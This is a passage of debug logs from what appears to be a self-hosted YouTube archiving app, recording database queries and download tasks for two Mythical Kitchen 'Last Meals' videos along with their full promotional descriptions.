https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Elizabeth's Last Meal\n0:20 Volleyball Legend\n3:02 How Often Do You Think About Death?\n4:50 1st Course\n 8:31 Fantasizing About Being Old\n10:59 Going To College In Russia\n15:04 Being A Foodie\n17:22 Death Panic & Watching ETERNITY\n21:18 2nd Course\n25:37 Always Wanted To Be a Performer\n28:09 Avoiding Fame\n29:45 Joining the Marvel Cinematic Universe\n32:55 3rd Course\n36:03 Valley Girl Accents\n39:08 Dealing With Grief & Fear Of Death\n43:16 Final Memories\n44:01 Lightning Round\n47:26 Lizzie's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2893, "filename" => "/downloads/Last Meals/2025-11-25 Elizabeth Olsen Eats Her Last Meal/Elizabeth Olsen Eats Her Last Meal [xEhk5iOQnmg].mp4", "id" => "xEhk5iOQnmg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xEhk5iOQnmg", "playlist_index" => 44, "timestamp" => 1764068521, "title" => "Elizabeth Olsen Eats Her Last Meal", "upload_date" => "20251125"} 20:48:00.453 [debug] QUERY OK source="sources" db=0.3ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:00.454 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:00.455 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-25 11:02:01Z], 1] 20:48:00.458 [debug] QUERY OK source="media_items" db=2.4ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Elizabeth Olsen eats her last meal.\n\nSAVE BIG on all things Mythical! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Elizabeth's Last Meal\n0:20 Volleyball Legend\n3:02 How Often Do You Think About Death?\n4:50 1st Course\n 8:31 Fantasizing About Being Old\n10:59 Going To College In Russia\n15:04 Being A Foodie\n17:22 Death Panic & Watching ETERNITY\n21:18 2nd Course\n25:37 Always Wanted To Be a Performer\n28:09 Avoiding Fame\n29:45 Joining the Marvel Cinematic Universe\n32:55 3rd Course\n36:03 Valley Girl Accents\n39:08 Dealing With Grief & Fear Of Death\n43:16 Final Memories\n44:01 Lightning Round\n47:26 Lizzie's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Elizabeth Olsen Eats Her Last Meal", "de0f7f7a-b58c-4e89-89b2-bd314879fed7", "https://www.youtube.com/watch?v=xEhk5iOQnmg", false, "xEhk5iOQnmg", 2893, false, 44, "/downloads/Last Meals/2025-11-25 Elizabeth Olsen Eats Her Last Meal/Elizabeth Olsen Eats Her Last Meal [xEhk5iOQnmg].mp4", false, false, 1, [], 0, ~U[2025-11-25 11:02:01Z], ~U[2026-03-28 00:48:00Z], ~U[2026-03-28 00:48:00Z], "Today, Elizabeth Olsen eats her last meal.\n\nSAVE BIG on all things Mythical! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Elizabeth's Last Meal\n0:20 Volleyball Legend\n3:02 How Often Do You Think About Death?\n4:50 1st Course\n 8:31 Fantasizing About Being Old\n10:59 Going To College In Russia\n15:04 Being A Foodie\n17:22 Death Panic & Watching ETERNITY\n21:18 2nd Course\n25:37 Always Wanted To Be a Performer\n28:09 Avoiding Fame\n29:45 Joining the Marvel Cinematic Universe\n32:55 3rd Course\n36:03 Valley Girl Accents\n39:08 Dealing With Grief & Fear Of Death\n43:16 Final Memories\n44:01 Lightning Round\n47:26 Lizzie's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Elizabeth Olsen Eats Her Last Meal", "https://www.youtube.com/watch?v=xEhk5iOQnmg", "xEhk5iOQnmg", 2893, false, "/downloads/Last Meals/2025-11-25 Elizabeth Olsen Eats Her Last Meal/Elizabeth Olsen Eats Her Last Meal [xEhk5iOQnmg].mp4", false, 1, ~U[2025-11-25 11:02:01Z]] 20:48:00.459 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=389.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:00.460 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:00.461 [debug] QUERY OK source="media_items" db=0.4ms idle=6.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44] 20:48:00.461 [info] Kicking off download for media item #44 (xEhk5iOQnmg) 20:48:00.464 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=3.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [47, 44, ~U[2026-03-28 00:48:00Z], ~U[2026-03-28 00:48:00Z]] 20:48:00.464 [debug] Current batch of media processed. Will check again in 1000ms 20:48:00.560 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:48:01.464 [debug] Current batch of media processed. Will check again in 1000ms 20:48:02.466 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Ludwig is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2606, "filename" => "/downloads/Last Meals/2024-11-05 Ludwig Eats His Last Meal/Ludwig Eats His Last Meal [rexfoQ17fTc].mp4", "id" => "rexfoQ17fTc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rexfoQ17fTc", "playlist_index" => 45, "timestamp" => 1730804464, "title" => "Ludwig Eats His Last Meal", "upload_date" => "20241105"} 20:48:02.466 [debug] QUERY OK source="sources" db=0.3ms idle=408.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:02.467 [debug] QUERY OK source="sources" db=0.2ms idle=409.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:02.468 [debug] QUERY OK source="media_items" db=0.4ms idle=410.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-05 11:01:04Z], 1] 20:48:02.472 [debug] QUERY OK source="media_items" db=2.8ms idle=410.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Ludwig is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ludwig Eats His Last Meal", "dca4b2b3-2c23-49d8-89bf-80c9384ce20b", "https://www.youtube.com/watch?v=rexfoQ17fTc", false, "rexfoQ17fTc", 2606, false, 45, "/downloads/Last Meals/2024-11-05 Ludwig Eats His Last Meal/Ludwig Eats His Last Meal [rexfoQ17fTc].mp4", false, false, 1, [], 0, ~U[2024-11-05 11:01:04Z], ~U[2026-03-28 00:48:02Z], ~U[2026-03-28 00:48:02Z], "Today, Ludwig is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Ludwig Eats His Last Meal", "https://www.youtube.com/watch?v=rexfoQ17fTc", "rexfoQ17fTc", 2606, false, "/downloads/Last Meals/2024-11-05 Ludwig Eats His Last Meal/Ludwig Eats His Last Meal [rexfoQ17fTc].mp4", false, 1, ~U[2024-11-05 11:01:04Z]] 20:48:02.473 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=398.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:02.473 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:02.474 [debug] QUERY OK source="media_items" db=0.4ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [45] 20:48:02.474 [info] Kicking off download for media item #45 (rexfoQ17fTc) 20:48:02.476 [debug] QUERY OK source="tasks" db=0.0ms idle=3.4ms INSERT INTO "tasks" 